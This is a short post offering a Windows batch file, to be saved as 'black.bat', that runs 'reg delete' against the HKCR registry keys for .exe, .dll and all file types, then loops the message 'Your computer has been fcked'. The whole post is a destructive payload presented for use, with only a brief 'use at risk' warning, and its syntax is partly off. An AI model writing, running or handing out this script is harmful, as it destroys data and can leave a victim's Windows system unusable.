Delete Key Registry Files using cmd

This will delete key registry files, then loops a message (CANNOT BE RECOVERED FROM)*

Code:-

@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO Your computer has been fcked. Have a nice day.
GOTO MESSAGE

now save it as black.bat

NOTE: THIS IS DANGEROUS!! USE AT RISK